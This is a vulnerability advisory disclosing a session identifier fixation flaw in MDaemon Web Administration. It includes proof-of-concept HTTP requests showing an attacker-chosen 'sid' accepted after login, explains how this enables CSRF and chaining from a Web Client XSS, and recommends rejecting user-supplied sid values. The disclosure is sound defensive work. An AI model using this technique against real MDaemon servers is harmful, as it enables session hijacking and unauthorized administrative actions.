Vulnerability name:

Session Identifier Fixation vulnerability in the MDaemon Web Administration

Author:

Piotr Bazydło

CVSS 3.0:

6.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Product:

MDaemon Web Administration

Privileges needed:

None. Attacker has to trick the user to login into the Web Administration via the URL provided by the attacker. Attacker can also chain this vulnerability with XSS vulnerability in the Web Client.

Vulnerability summary:

After the successful login operation, Web Administration application creates a random “sid” parameter, which is used as an anti-CSRF token. However, this parameter can be specified by the user in a query string and it will be accepted by the application. This vulnerability may allow an attacker to:

a) Set the attacker specified value into the “SID” parameter. At this stage, attacker will be able to perform CSRF (Cross Site Request Forgery).
b) He can use it to jump from the XSS vulnerability in MDaemon Web Client to the Web Administration (he can use WebAdmin view in the Web Client to log into the Web Administration application with the known SID). Then, attacker will be able to perform XHR requests to the Web Admnistration application.

Vulnerability Description:

After the successful login operation, Web Administration application creates a random “sid” parameter, which is used as an anti-CSRF token. Following request presents the login operation and the generation of “sid” parameter, which is provided by the attacker in the query string.

Request

```
POST /login.wdm?sid=PoC-sid HTTP/1.1
Host: 172.16.170.130:1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.170.130:1000/login.wdm?logoff=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Cookie: User=admin@company.test; Theme=WorldClient; Lang=en;
ra_login=admin@company.test%2Cen; RASession=eHpyZXdzdWRkZmtqdGdqcG1mcGhxZ3Vsd3hmYw==
Upgrade-Insecure-Requests: 1
```

```
username=admin%40company.test&password=Password1&Logon=&lang=en
```

Response

```
HTTP/1.1 302 Object Moved.
X-Frame-Options: sameorigin
X-XSS-Protection: 1
Set-Cookie: RASession=cmJhc3Vvcmh5ZnJ3cGhxeW16cGZyd3hiZGtoag==; Path=/; Expires=Wed, 13-Jan-
2021 23:21:07 GMT; HttpOnly; SameSite=strict
Location: main.wdm?sid=PoC-sid
```

At this stage, this attacker-specified sid can be used to reach the Web Administration application.

Request

```
GET /main.wdm?sid=PoC-sid HTTP/1.1
Host: 172.16.170.130:1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.170.130:1000/login.wdm?logoff=1
Connection: close
Cookie: User=admin@company.test; Theme=WorldClient; Lang=en;
ra_login=admin@company.test%2Cen; RASession=cmJhc3Vvcmh5ZnJ3cGhxeW16cGZyd3hiZGtoag==
Upgrade-Insecure-Requests: 1
```

Response fragment

```
HTTP/1.1 200 OK
X-Frame-Options: sameorigin
X-XSS-Protection: 1
Pragma: No-cache
Expires: -1
Content-type: text/html; charset=utf-8
Content-length: 52956
X-UA-Compatible: IE=Edge

<!DOCTYPE html SYSTEM "about:legacy-compat"><html><head>
<META http-equiv="Content-Type" content="text/html">
<title>MDaemon Administration</title><meta http-equiv="X-UA-Compatible"
content="IE=edge;chrome=1"><meta name="viewport" content="initial-scale=1,user-
scalable=yes,maximum-scale=1.5,width=device-width"><link rel="stylesheet" type="text/css"
href="./stylesheets/fontawesome/css/font-awesome.min.css?v=1603204619"><link rel="stylesheet"
type="text/css" href="./stylesheets/jquery.treetable.css?v=1603204619"><link rel="stylesheet"
type="text/css" href="./stylesheets/jquery.treetable.theme.default.css?v=1603204619"><link
rel="stylesheet" type="text/css" href="./stylesheets/jstree-style.min.css?v=1603204619"><link
rel="stylesheet" type="text/css" href="./stylesheets/main.min.css?v=1603204619"><script
type="text/javascript" src="./javascript/jquery-latest.js?v=1603204619"></script><script
type="text/javascript" src="./charts/fusioncharts.js?v=1603204619"></script><script
type="text/javascript" src="./charts/fusioncharts.charts.js?v=1603204619"></script><script
type="text/javascript" src="./ckeditor/ckeditor.js?v=1603204619"></script><script
type="text/javascript" src="./javascript/jstree.min.js?v=1603204619"></script><script
type="text/javascript" src="./javascript/main.min.js?v=1603204619"></script><script
type="text/javascript">
          RA.DEVMODE = '0';
```

```
            RA.VERSION = '1603204619';
            RA.LANG = 'en';
            RA.SESSIONID = '?sid=PoC-sid';
            RA.ISADMIN = false;
…
…
```

This vulnerability may allow an attacker to:

a) Set the attacker specified value into the “SID” parameter. At this stage, attacker will be able to perform CSRF (Cross Site Request Forgery).
b) He can use it to jump from the XSS vulnerability in MDaemon Web Client to the Web Administration (he can use WebAdmin view in the Web Client to log into the Web Administration application with the known SID). Then, attacker will be able to perform XHR requests to the Web Admnistration application.

Recommendations

It is recommended to not accept the user provided “sid” parameter.